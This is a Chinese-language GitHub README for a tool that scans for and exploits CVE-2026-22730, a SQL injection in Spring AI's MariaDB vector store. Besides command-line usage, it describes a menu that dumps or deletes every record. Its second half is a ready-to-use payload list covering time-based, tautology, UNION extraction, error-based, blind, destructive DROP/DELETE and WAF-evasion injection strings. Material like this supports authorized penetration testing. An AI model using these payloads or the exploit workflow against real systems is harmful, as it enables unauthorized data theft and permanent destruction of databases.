NULL200OK/CVE-2026-22730-Scanner
GitHub: NULL200OK/CVE-2026-22730-Scanner
针对 Spring AI MariaDB Vector Store SQL 注入漏洞(CVE-2026-22730)的专业检测与利用工具,支持交互式扫描和多格式报告。
Stars: 1 | Forks: 0
CVE-2026-22730 扫描器与利用工具 – Spring AI MariaDB Vector Store SQL 注入



一款针对 CVE-2026-22730 的专业安全评估工具——这是在 Spring AI 的 MariaDB vector store 中发现的一个严重 SQL 注入漏洞。该工具允许经授权的渗透测试人员和安全研究人员检测并安全地利用该漏洞,以用于教育或防御目的。
📖 概述
CVE-2026-22730 影响使用 MariaDB vector store 的 Spring AI 版本 1.0.x < 1.0.4 和 1.1.x < 1.1.3。由于过滤器表达式中的字符串值转义不当,攻击者可以通过用户控制的参数(例如元数据过滤器)注入任意 SQL。这可能导致:
未授权数据检索 —— 绕过基于元数据的访问控制
完整数据库删除 —— 清空整个 vector store(破坏性)
无声数据泄露 —— 在 RAG 管道中,泄露的数据会被并入 LLM 响应中而不被发现
该工具提供了一种安全、可配置的方法来验证漏洞的存在,并在授权的安全评估中(经明确同意)演示其影响。
🚀 特性
✅ 基于时间的检测 —— 使用 SLEEP() 注入来确认漏洞
✅ 多种 HTTP 方法 —— 支持 GET(查询参数)和 POST(JSON body)
✅ 自定义休眠时长 —— 根据网络延迟或隐蔽性要求进行调整
✅ 利用选项 —— 检索所有文档(SELECT)或删除所有(DELETE)
✅ 全面的报告 —— 生成 HTML、JSON 和纯文本报告
✅ 用户友好的 CLI —— 交互模式和完整的命令行参数
✅ 可扩展的 Payload 系统 —— 轻松集成自定义注入字符串
📋 要求
Python 3.6 或更高版本
requests 库(pip install requests)
🔧 安装
bash
git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git
cd cve-2026-22730-scanner
📖 用法
该脚本可以在交互模式下运行,也可以使用命令行参数运行。
基本语法
bash
python cve-2026-22730_scanner.py [选项]
选项
选项 描述
--url 目标 URL(例如 http://localhost:8081/api/docs)
--method HTTP 方法:GET 或 POST(默认值:GET)
--param GET 的查询参数名称,或 POST 的引用名称(可选)
--json-template 带有 __PAYLOAD__ 占位符的 JSON 模板(POST 时必需)
--baseline 用于基准请求的良性值(默认值:nonexistent)
--sleep 用于基于时间检测的休眠秒数(默认值:5)
示例
1. GET 请求(查询参数)
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"
3. 带 JSON body 的 POST 请求
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "__PAYLOAD__"}'
5. 自定义休眠时间和基准值
bash
python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"
7. 交互模式
bash
python cve-2026-22730_scanner.py
系统将提示您输入 URL、方法、参数/JSON 模板、基准值和休眠时间。
利用工作流
如果发现目标存在漏洞,脚本将显示一个菜单:
text
[?] 目标存在漏洞。请选择利用选项:
```
1. Retrieve all documents (SELECT injection)
2. Delete all documents (DELETE injection) - DESTRUCTIVE
3. Skip exploitation
```
选项 1 发送 ' OR '1'='1 以检索所有行(非破坏性,仅读取数据)。
选项 2 使用 DELETE HTTP 方法发送相同的 payload —— 永久删除所有记录。需要明确确认。
所有操作都会被记录并包含在最终报告中。
📁 输出文件
每次运行后,会在当前目录中创建三个带有时间戳的文件:
cve-2026-22730_YYYYMMDD_HHMMSS.json —— 包含所有详细信息的机器可读 JSON 报告。
cve-2026-22730_YYYYMMDD_HHMMSS.txt —— 纯文本摘要,包括利用数据(如果有)。
cve-2026-22730_YYYYMMDD_HHMMSS.html —— 格式化的 HTML 报告,适合共享或存档。
⚠️ 重要免责声明
本工具仅供授权安全测试和教育目的使用。
对您不拥有或未获得明确测试许可的系统进行未经授权的使用是非法且不道德的。
作者不对因滥用或本软件造成的损害承担任何责任。
在扫描或利用任何目标之前,请务必获得书面许可。
📚 参考
GitHub Security Advisory GHSA‑c267‑rfvc‑mvpm
Spring Security Advisory AV26‑245
Original Research Article by SecureLayer7
🤝 贡献
欢迎 Pull requests、错误报告和功能建议。请先开 issue 讨论重大变更。
📄 许可证
本项目根据 MIT 许可证授权 —— 详见 LICENSE 文件。
由 Nabeel 用 ❤️ 开发
**PYLOAD 示例**
献给安全社区
📌 如何使用这些 Payload
在脚本中,当使用带有 --json-template 的 POST 方法时,请将 __PAYLOAD__ 替换为下面列表中的任意 payload。
对于 GET 请求,只需将 payload 作为参数值传递(脚本会自动处理 URL 编码)。
🔥 Payload 类别
1. 检测 / 基于时间
如果注入成功,这些会导致延迟。使用它们来确认漏洞。
Payload 描述
' OR SLEEP(5) -- 标准的基于时间的 payload。如果查询暂停约 5 秒,则注入成功。
' OR BENCHMARK(10000000,MD5('a')) -- MySQL/MariaDB (BENCHMARK) 的替代方案。
' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- 嵌套休眠以绕过某些过滤器。
' OR 1=1 AND SLEEP(5) -- 结合恒真条件和休眠。
2. 认证绕过 / 检索所有行
这些使 WHERE 子句始终为真,从而返回所有记录。
Payload 描述
' OR '1'='1 经典的恒真注入。
' OR 1=1 -- 另一种变体(需要在 -- 后加一个空格)。
' OR ''=' 依赖于空字符串比较。
' OR 1=1# 使用 # 作为 MariaDB 注释(URL 编码为 %23)。
' OR 1=1 LIMIT 1 -- 仅返回一行(适用于控制输出)
3. 基于 Union 的数据提取
当应用程序显示结果时很有用。您需要匹配列数。
Payload 描述
' UNION SELECT NULL, database(), user(), version() -- 检索数据库名、用户、版本。(调整 NULL 数量以匹配列数。)
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- 列出表。
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- 列出列。
' UNION SELECT 1, content, metadata FROM vector_store -- 转储实际数据(如果列数匹配)。
4. 基于错误的提取
触发泄露信息的错误。
Payload 描述
' AND extractvalue(1, concat(0x7e, database())) -- MariaDB/MySQL 基于错误的注入。
' AND updatexml(1, concat(0x7e, version()), 1) -- 另一种错误方法。
' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- 重复键错误。
5. 基于布尔(盲注)
当没有显示输出或错误,但应用程序行为发生变化时很有用。
Payload 描述
' AND (SELECT ascii(substring(database(),1,1))) > 64 -- 检查数据库名的第一个字符。
' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- 检查表的数量。
' OR (SELECT 1 FROM users LIMIT 1) = 1 -- 测试表是否存在。
6. 写入 / 删除操作
破坏性 payload(请极其谨慎地使用)。
Payload 描述
' OR '1'='1 当与 DELETE 一起使用时,删除所有行。
' OR 1=1; DROP TABLE vector_store -- 尝试删除整个表(需要堆叠查询,通常被禁用)。
' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- 尝试插入新数据。
7. 绕过过滤器 / WAF
混淆版本以逃避简单的模式匹配。
Payload 描述
%27%20OR%20SLEEP(5)%20-- URL 编码(脚本自动处理此情况)。
' /**/OR/**/SLEEP(5)/**/-- 内联注释以打断关键字。
' OR 0x273d27=0x273d27 -- 十六进制编码的比较 ('=')。
' OR 1=1 /*!50000SLEEP(5)*/ -- MySQL 版本特定的注释。
8. CVE 公告中的特定 Payload
Payload 描述
' OR '1'='1 用于检索所有文档(概念验证)。
' OR SLEEP(5) -- 扫描器中使用的基于时间的检测 payload。
' OR '1'='1 也用于 DELETE 注入。
📝 带有 Payload 的 JSON 模板示例
json
{"department": "' OR SLEEP(5) --"}
{"department": "' OR '1'='1"}
{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}
在脚本中,您可以将模板传递为:
bash
--json-template '{"department": "__PAYLOAD__"}'
**脚本将把 __PAYLOAD__ 替换为实际的 payload。**
**关于 URL 的说明**
脚本需要接受漏洞参数的端点的完整 URL。
例如:
✅ http://example.com/api/docs —— 如果端点是 /api/docs
✅ http://example.com/search —— 如果端点是 /search
❌ http://example.com —— 不足够,脚本需要确切的路径
标签:0day, CISA项目, CVE-2026-22730, DOE合作, Exploit, MariaDB, Python, RAG安全, Red Canary, Spring AI, 加密, 反取证, 向量数据库, 多线程, 威胁模拟, 安全评估, 无后门, 时间盲注, 漏洞扫描器, 网络安全, 逆向工具, 隐私保护